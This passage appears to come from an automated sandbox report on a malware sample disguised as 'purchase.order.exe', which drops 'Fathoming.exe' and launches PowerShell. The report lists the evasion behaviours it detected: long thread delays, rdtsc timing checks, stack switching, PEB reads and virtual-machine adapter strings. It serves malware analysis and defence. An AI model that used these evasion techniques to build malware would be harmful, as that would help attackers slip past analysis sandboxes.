Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe

API/Special instruction interceptor: Address: 1EEB6E3

Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe

Code function: 8_2_21B2096E rdtsc

8_2_21B2096E

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5484			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4204			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe

API coverage: 0.2 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1452	Thread sleep time: -10145709240540247s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe TID: 4688	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\purchase.order.exe	Code function: 0_2_0040689E FindFirstFileW,FindClose,	0_2_0040689E
Source: C:\Users\user\Desktop\purchase.order.exe	Code function: 0_2_00405C4D GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4D
Source: C:\Users\user\Desktop\purchase.order.exe	Code function: 0_2_00402930 FindFirstFileW,	0_2_00402930

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.2635924027.0000000004FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter@\
Source: powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.2635924027.0000000004FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter@\
Source: powershell.exe, 00000002.00000002.2635924027.0000000004FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter@\
Source: Fathoming.exe, 00000008.00000002.2990340347.0000000006078000.00000004.00000020.00020000.00000000.sdmp, Fathoming.exe, 00000008.00000003.2948566344.0000000006078000.00000004.00000020.00020000.00000000.sdmp, Fathoming.exe, 00000008.00000003.2948126514.0000000006078000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000002.00000002.2642154478.0000000006D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VtModule.psm1MSFT_NetEventVmNetworkAdatper.format.ps1xml
Source: powershell.exe, 00000002.00000002.2635924027.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.2642154478.0000000006D9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Fule.cmdletDeMSFT_NetEventVmNetworkAdatper.cdxml

Source: C:\Users\user\Desktop\purchase.order.exe	API call chain: ExitProcess graph end node			graph_0-3678
Source: C:\Users\user\Desktop\purchase.order.exe	API call chain: ExitProcess graph end node			graph_0-3686

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe

Code function: 8_2_21B2096E rdtsc

8_2_21B2096E

Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe

Code function: 8_2_21B22B60 NtClose,LdrInitializeThunk,

8_2_21B22B60

Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6019F mov eax, dword ptr fs:[00000030h]	8_2_21B6019F
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6019F mov eax, dword ptr fs:[00000030h]	8_2_21B6019F
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6019F mov eax, dword ptr fs:[00000030h]	8_2_21B6019F
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6019F mov eax, dword ptr fs:[00000030h]	8_2_21B6019F
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B9C188 mov eax, dword ptr fs:[00000030h]	8_2_21B9C188
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B9C188 mov eax, dword ptr fs:[00000030h]	8_2_21B9C188
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B20185 mov eax, dword ptr fs:[00000030h]	8_2_21B20185
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B84180 mov eax, dword ptr fs:[00000030h]	8_2_21B84180
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B84180 mov eax, dword ptr fs:[00000030h]	8_2_21B84180
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADA197 mov eax, dword ptr fs:[00000030h]	8_2_21ADA197
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADA197 mov eax, dword ptr fs:[00000030h]	8_2_21ADA197
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADA197 mov eax, dword ptr fs:[00000030h]	8_2_21ADA197
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B101F8 mov eax, dword ptr fs:[00000030h]	8_2_21B101F8
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB61E5 mov eax, dword ptr fs:[00000030h]	8_2_21BB61E5
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E1D0 mov eax, dword ptr fs:[00000030h]	8_2_21B5E1D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E1D0 mov eax, dword ptr fs:[00000030h]	8_2_21B5E1D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E1D0 mov ecx, dword ptr fs:[00000030h]	8_2_21B5E1D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E1D0 mov eax, dword ptr fs:[00000030h]	8_2_21B5E1D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B5E1D0 mov eax, dword ptr fs:[00000030h]	8_2_21B5E1D0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA61C3 mov eax, dword ptr fs:[00000030h]	8_2_21BA61C3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA61C3 mov eax, dword ptr fs:[00000030h]	8_2_21BA61C3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B10124 mov eax, dword ptr fs:[00000030h]	8_2_21B10124
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8A118 mov ecx, dword ptr fs:[00000030h]	8_2_21B8A118
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8A118 mov eax, dword ptr fs:[00000030h]	8_2_21B8A118
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8A118 mov eax, dword ptr fs:[00000030h]	8_2_21B8A118
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8A118 mov eax, dword ptr fs:[00000030h]	8_2_21B8A118
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA0115 mov eax, dword ptr fs:[00000030h]	8_2_21BA0115
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E10E mov eax, dword ptr fs:[00000030h]	8_2_21B8E10E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E10E mov ecx, dword ptr fs:[00000030h]	8_2_21B8E10E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E10E mov eax, dword ptr fs:[00000030h]	8_2_21B8E10E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E10E mov eax, dword ptr fs:[00000030h]	8_2_21B8E10E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E10E mov ecx, dword ptr fs:[00000030h]	8_2_21B8E10E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E10E mov eax, dword ptr fs:[00000030h]	8_2_21B8E10E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E10E mov eax, dword ptr fs:[00000030h]	8_2_21B8E10E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E10E mov ecx, dword ptr fs:[00000030h]	8_2_21B8E10E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E10E mov eax, dword ptr fs:[00000030h]	8_2_21B8E10E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E10E mov ecx, dword ptr fs:[00000030h]	8_2_21B8E10E
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4164 mov eax, dword ptr fs:[00000030h]	8_2_21BB4164
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB4164 mov eax, dword ptr fs:[00000030h]	8_2_21BB4164
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B78158 mov eax, dword ptr fs:[00000030h]	8_2_21B78158
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B74144 mov eax, dword ptr fs:[00000030h]	8_2_21B74144
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B74144 mov eax, dword ptr fs:[00000030h]	8_2_21B74144
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B74144 mov ecx, dword ptr fs:[00000030h]	8_2_21B74144
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B74144 mov eax, dword ptr fs:[00000030h]	8_2_21B74144
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B74144 mov eax, dword ptr fs:[00000030h]	8_2_21B74144
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE6154 mov eax, dword ptr fs:[00000030h]	8_2_21AE6154
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE6154 mov eax, dword ptr fs:[00000030h]	8_2_21AE6154
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADC156 mov eax, dword ptr fs:[00000030h]	8_2_21ADC156
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA60B8 mov eax, dword ptr fs:[00000030h]	8_2_21BA60B8
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BA60B8 mov ecx, dword ptr fs:[00000030h]	8_2_21BA60B8
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD80A0 mov eax, dword ptr fs:[00000030h]	8_2_21AD80A0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B780A8 mov eax, dword ptr fs:[00000030h]	8_2_21B780A8
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE208A mov eax, dword ptr fs:[00000030h]	8_2_21AE208A
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B220F0 mov ecx, dword ptr fs:[00000030h]	8_2_21B220F0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE80E9 mov eax, dword ptr fs:[00000030h]	8_2_21AE80E9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADA0E3 mov ecx, dword ptr fs:[00000030h]	8_2_21ADA0E3
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B660E0 mov eax, dword ptr fs:[00000030h]	8_2_21B660E0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADC0F0 mov eax, dword ptr fs:[00000030h]	8_2_21ADC0F0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B620DE mov eax, dword ptr fs:[00000030h]	8_2_21B620DE
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B76030 mov eax, dword ptr fs:[00000030h]	8_2_21B76030
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADA020 mov eax, dword ptr fs:[00000030h]	8_2_21ADA020
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADC020 mov eax, dword ptr fs:[00000030h]	8_2_21ADC020
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B64000 mov ecx, dword ptr fs:[00000030h]	8_2_21B64000
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B82000 mov eax, dword ptr fs:[00000030h]	8_2_21B82000
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B82000 mov eax, dword ptr fs:[00000030h]	8_2_21B82000
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B82000 mov eax, dword ptr fs:[00000030h]	8_2_21B82000
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B82000 mov eax, dword ptr fs:[00000030h]	8_2_21B82000
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B82000 mov eax, dword ptr fs:[00000030h]	8_2_21B82000
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B82000 mov eax, dword ptr fs:[00000030h]	8_2_21B82000
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B82000 mov eax, dword ptr fs:[00000030h]	8_2_21B82000
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B82000 mov eax, dword ptr fs:[00000030h]	8_2_21B82000
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFE016 mov eax, dword ptr fs:[00000030h]	8_2_21AFE016
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFE016 mov eax, dword ptr fs:[00000030h]	8_2_21AFE016
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFE016 mov eax, dword ptr fs:[00000030h]	8_2_21AFE016
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFE016 mov eax, dword ptr fs:[00000030h]	8_2_21AFE016
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0C073 mov eax, dword ptr fs:[00000030h]	8_2_21B0C073
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B66050 mov eax, dword ptr fs:[00000030h]	8_2_21B66050
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE2050 mov eax, dword ptr fs:[00000030h]	8_2_21AE2050
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADE388 mov eax, dword ptr fs:[00000030h]	8_2_21ADE388
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADE388 mov eax, dword ptr fs:[00000030h]	8_2_21ADE388
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADE388 mov eax, dword ptr fs:[00000030h]	8_2_21ADE388
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD8397 mov eax, dword ptr fs:[00000030h]	8_2_21AD8397
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD8397 mov eax, dword ptr fs:[00000030h]	8_2_21AD8397
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AD8397 mov eax, dword ptr fs:[00000030h]	8_2_21AD8397
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0438F mov eax, dword ptr fs:[00000030h]	8_2_21B0438F
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B0438F mov eax, dword ptr fs:[00000030h]	8_2_21B0438F
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF03E9 mov eax, dword ptr fs:[00000030h]	8_2_21AF03E9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF03E9 mov eax, dword ptr fs:[00000030h]	8_2_21AF03E9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF03E9 mov eax, dword ptr fs:[00000030h]	8_2_21AF03E9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF03E9 mov eax, dword ptr fs:[00000030h]	8_2_21AF03E9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF03E9 mov eax, dword ptr fs:[00000030h]	8_2_21AF03E9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF03E9 mov eax, dword ptr fs:[00000030h]	8_2_21AF03E9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF03E9 mov eax, dword ptr fs:[00000030h]	8_2_21AF03E9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AF03E9 mov eax, dword ptr fs:[00000030h]	8_2_21AF03E9
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B163FF mov eax, dword ptr fs:[00000030h]	8_2_21B163FF
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFE3F0 mov eax, dword ptr fs:[00000030h]	8_2_21AFE3F0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFE3F0 mov eax, dword ptr fs:[00000030h]	8_2_21AFE3F0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AFE3F0 mov eax, dword ptr fs:[00000030h]	8_2_21AFE3F0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E3DB mov eax, dword ptr fs:[00000030h]	8_2_21B8E3DB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E3DB mov eax, dword ptr fs:[00000030h]	8_2_21B8E3DB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E3DB mov ecx, dword ptr fs:[00000030h]	8_2_21B8E3DB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8E3DB mov eax, dword ptr fs:[00000030h]	8_2_21B8E3DB
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B843D4 mov eax, dword ptr fs:[00000030h]	8_2_21B843D4
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B843D4 mov eax, dword ptr fs:[00000030h]	8_2_21B843D4
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA3C0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA3C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA3C0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA3C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA3C0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA3C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA3C0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA3C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA3C0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA3C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AEA3C0 mov eax, dword ptr fs:[00000030h]	8_2_21AEA3C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE83C0 mov eax, dword ptr fs:[00000030h]	8_2_21AE83C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE83C0 mov eax, dword ptr fs:[00000030h]	8_2_21AE83C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE83C0 mov eax, dword ptr fs:[00000030h]	8_2_21AE83C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21AE83C0 mov eax, dword ptr fs:[00000030h]	8_2_21AE83C0
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B9C3CD mov eax, dword ptr fs:[00000030h]	8_2_21B9C3CD
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB8324 mov eax, dword ptr fs:[00000030h]	8_2_21BB8324
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB8324 mov ecx, dword ptr fs:[00000030h]	8_2_21BB8324
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB8324 mov eax, dword ptr fs:[00000030h]	8_2_21BB8324
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB8324 mov eax, dword ptr fs:[00000030h]	8_2_21BB8324
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B00310 mov ecx, dword ptr fs:[00000030h]	8_2_21B00310
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A30B mov eax, dword ptr fs:[00000030h]	8_2_21B1A30B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A30B mov eax, dword ptr fs:[00000030h]	8_2_21B1A30B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B1A30B mov eax, dword ptr fs:[00000030h]	8_2_21B1A30B
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21ADC310 mov ecx, dword ptr fs:[00000030h]	8_2_21ADC310
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B8437C mov eax, dword ptr fs:[00000030h]	8_2_21B8437C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BAA352 mov eax, dword ptr fs:[00000030h]	8_2_21BAA352
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B88350 mov ecx, dword ptr fs:[00000030h]	8_2_21B88350
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6035C mov eax, dword ptr fs:[00000030h]	8_2_21B6035C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6035C mov eax, dword ptr fs:[00000030h]	8_2_21B6035C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6035C mov eax, dword ptr fs:[00000030h]	8_2_21B6035C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6035C mov ecx, dword ptr fs:[00000030h]	8_2_21B6035C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6035C mov eax, dword ptr fs:[00000030h]	8_2_21B6035C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B6035C mov eax, dword ptr fs:[00000030h]	8_2_21B6035C
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21BB634F mov eax, dword ptr fs:[00000030h]	8_2_21BB634F
Source: C:\Users\user\AppData\Local\Temp\Fathoming.exe	Code function: 8_2_21B62349 mov eax, dword ptr fs:[00000030h]	8_2_21B62349
